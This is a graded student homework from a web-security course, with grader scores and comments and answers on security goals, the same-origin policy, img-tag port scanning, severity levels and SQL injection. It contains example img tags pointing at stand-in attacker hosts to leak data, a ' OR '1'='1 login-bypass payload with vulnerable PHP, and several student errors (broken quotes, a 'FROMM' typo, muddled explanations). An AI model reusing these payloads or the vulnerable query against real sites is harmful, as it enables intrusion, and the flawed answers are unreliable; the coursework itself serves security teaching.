CS974-HW1

Graded

Student

Sivachandran P

Total Points

38 / 50 pts

Question 1

Web Security Goals

5 / 10 pts

+ 10 pts Correct

+ 7 pts Minor mistakes

✔ **+ 5 pts** Partial correct

+ 3 pts Attempt

+ 0 pts Incorrect/Not attempted/ Copy & Pasted from AI tools

Clear answer is not provided. Did not mention the important goals for web security such as: Confidentiality (SSL/TLS), Integrity, availability (Keeping web services accessible and resilient against attacks), Input validation etc

Question 2

Same Origin Principle

10 / 10 pts

✔ **+ 10 pts** Correct

+ 7 pts Minor mistakes

+ 5 pts Partial correct

+ 3 pts Attempt

+ 0 pts Incorrect/Not attempted/ Copy & Pasted from AI tools

Question 3

Scanning behind firewall

3 / 10 pts

+ 10 pts Correct

+ 7 pts Minor mistakes

+ 5 pts Partial correct

✔ **+ 3 pts** Attempt

+ 0 pts Incorrect/Not attempted/ Copy & Pasted from AI tools

How the method achieves - port scanning is clearly explained in the answer.

Question 4

Vulnerability Severity

10 / 10 pts

✔ **+ 10 pts** Correct

+ 7 pts Minor mistakes

+ 5 pts Partial correct

+ 3 pts Attempt

+ 0 pts Incorrect/Not attempted/ Copy & Pasted from AI tools

Question 5

Injection Vulnerability

10 / 10 pts

✔ **+ 10 pts** Correct

+ 7 pts Minor mistakes

+ 5 pts Partial correct

+ 3 pts Attempt

+ 0 pts Incorrect/Not attempted/ Copy & Pasted from AI tools

Q1 Web Security Goals
10 Points

The web security refers to the security of web applications. For web applications, code runs on users' browsers (e.g. Javascript code), as well as on the web servers (php, python, node.js and other language code). This is different than standalone applications that run on your desktop or on your servers. Therefore, the goals for securing web applications are slightly different from goals of securing standalone applications. Explain briefly the security goals for web security.

Websites always have the risk of security threats or risks, it may have possible event that can potentially harm or damage an information in Computer systems & Organizations, which are aimed to steal or alter or destroy a piece of confidential information/hard drive space and accessing of personal passwords illegally.

Goal of Web security:
In short, to protect the security of data while transferring data between Client and server, and helps to avoid servers from malicious attacks and unauthorized access.
Goal is to handle the security of data over internet/network or web while it is being transferred over the internet, accordingly restrict access to harmful websites & stop web-based risks.

Eventually web security aims to provide,
1) Users safe browse or visit a variety of web sites without incurring harm (No Stolen information & Site A cannot compromise session at Site B)
2) Support secure web applications (similar to sand-alone application's security properties, should be able to achieve for applications delivered over the web)

Q2 Same Origin Principle
10 Points

Explain why SOP (Same Origin Principle) needs to be implemented by all browsers? Also explain a scenario where relaxation of SOP would be beneficial.

Necessity of implementing SOP (Same Origin Principle):
In order to prevent malicious page from another web server to manipulate, read or steal information from the DOM (Document Object Model) of another page.
1) It prevents stealing of cookies, sessionID and other sensitive information for authentication
2) Prevents breach of confidentiality
3) Prevents defacing of websites etc.

Accordingly only webpages that have exact same origin (matching Protocol, Host, Port) will pass a SOP check, Browsers have to implement this check correctly.

Relaxation of SOP:
Bypassing of SOP would be beneficial in the cases when some domains may has multiple legitimate subdomain - and once authenticated - the users should be allowed to navigate through subdomains - perform actions without having to reauthenticate themselves.

Note: For example, Facebook.com has subdomains, chat.facebook.com or login.facebook.com - ordinarily would get failed here.

Techniques for bypassing SOP:
1) Manipulating the origin of documents (document.property field that can be set to the base domain - Facebook.com)
2) Exploiting allowed Cross-orgin embedding (JSONP, Iframe hack)
3) Avoiding browser-to-server cross-origin calls (cross-document messaging - postMessage, Server side proxies - rewriting https shaders)
4) Restricting access with origin whitelisting (Websockets, Cross-origin resource sharing)

Q3 Scanning behind firewall
10 Points

Explain briefly how the img tag in html (which allows source of images to be cross origin), can be exploited to achieve port scanning inside the firewall of an organization by using a timing side channel.

In general, the "img" tag includes the whole separate file in the web page, for example like below:
<img src="http://example.com/images/example.jpg">,
But sometimes malicious attacker, sends for example like below:
<img src="http://evilinalaska.com/scripts/deface-home-page.php">

Which will lead to security issues, and communicate with other sites
<img src="http://evil.com/pass-local-information.jpg?extra_information">
OR hide the resulting image OR spoof other sites.

Option #1: Usage of "JavaScript OnError", will help to get trigger when error occurs loading a document or an image.
Option #2: "JavaScript timing" - the Browser helps to stop and notifies JavaScript via the "onError" handler, when response header indicates that page is not an image.
Option #3: JavaScript can request images from internal IP address, and uses timeout/OnError to determine Success/Failure.

In the case when Internal organization Firewall by timing side channel checks are not performed (and did not consider the use of OnError & timing), the informations can lead to vulnerable to attack/steal browser information.

Q4 Vulnerability Severity
10 Points

We categorize vulnerabilities into Critical, high, medium and low severity vulnerabilities. Explain briefly the major differences between the 4 categories of vulnerabilities.

Some detected vulnerabilities need to be addressed urgently because they could cause application to be compromised or damaged by attackers (critical, high) while others are less impact (low).

CRITICAL:
1) Can allow attackers to execute code on the web application or application server or access sensitive data

2) In exploiting this type of vulnerability, attackers could carry out a range of malicious acts that could, for example, affect a web applications availability or put its confidentiality and security at risk

3) Fixing these type of issues are urgent
Website is at risk of being hacked at any time. Need to give high priority to fix these vulnerabilities urgently

HIGH:
1) It can allow malicious attackers to access application resources and data. Attacker can steal session information or sensitive data from the application or server

2) While comparing with critical, in high severity vulnerability, malicious attacker cannot execute code or a command on the application or server
Execute script code in the user's browser
Steal the user's cookies
Read sensitive data in the server
Makes requests to internal or external resources

3) Attackers have some technical skills, but many tools make the exploitation process automated

4) Can be hacked and can lead hackers to find other vulnerabilities which have bigger impact.
Recommendation is to fix immediately.

MEDIUM:
1) Usually arises because of errors and deficiencies in the application

configuration. By exploiting malicious attackers can access sensitive information on the application or server

2) Attackers conducting this type of attack required more skill than critical and High severities

3) Exploitation of these types of vulnerabilities can depend on the existence of some special conditions

4) Eventhough special conditions are required to exploit medium severity issues, (and they don't directly affect the application or system in contrast to critical and high severities), in order to keep web application secure and comply with the regulations, they should still be fixed.

LOW:
1) Includes information leakage, configuration errors, and lack of some security measures.

2) In comparison to critical, high and medium severity issues, these findings have limited effect

3) An attacker can carry out vulnerability mapping by looking at the vulnerability database to see if an issue exists in that version of the application and then exploiting it

4) An attacker could use this information to find a way to access the target application's operating system or database system

5) Attacker could exploit these configurations errors by convincing an authorised user to click on a malicious link or button, which could result in the deletion of records or uncover hidden resources

6) A decision on whether to fix these issues should be determined by assessing the context in the application, and by considering the business impacts

Q5 Injection Vulnerability
10 Points

Explain with example what we mean by "injection vulnerability" in the context of web applications?

Injection vulnerability:
Applications allow an attacker to relay malicious code through an application to another system. It allows hackers to inject client-side or server-side commands, through which hackers can take control of web applications. Depending on the type of vulnerability an attacker might inject (ex.) SQL queries, Javascript or OS commands and so on.

When hacker exploits the web application, then it passes and executes this data without sanitizing. It allows hackers to gain access to the application

Web-application side: 1) At login page - hacker enters malicious code here,
Application-server side: 1) Malicious code entered into the server now
It will help Hacker at "web-application side" to get "response to user input" from "Application Server"

So need to always sanitize request both before sending them to server & inserting into HTML/HTTP response.
Use an appropriate server-side filter
Input should be validated at both client and server sides
Encode all special characters

Sample code explanation with - SQL Injection:
App allows to log with username & password. App constructs an SQL query based on input.
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username = '$username' AND password = "$password";
$result = mysqli_query($conn, $query);

Here attacker may enter username like below:
' OR '1'='1

While no sanitisation or input validation is performed, the query becomes:
SELECT * FROM users WHERE username = " OR '1'='1' AND password = "
Since '1'='1' always concluded as TRUE, hacker getting chance to bypass the authentication step and gains access

Following method should help to prevent SQL injection (using prepared statements)

```
$stmt = $conn->prepare("SELECT * FROMM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
```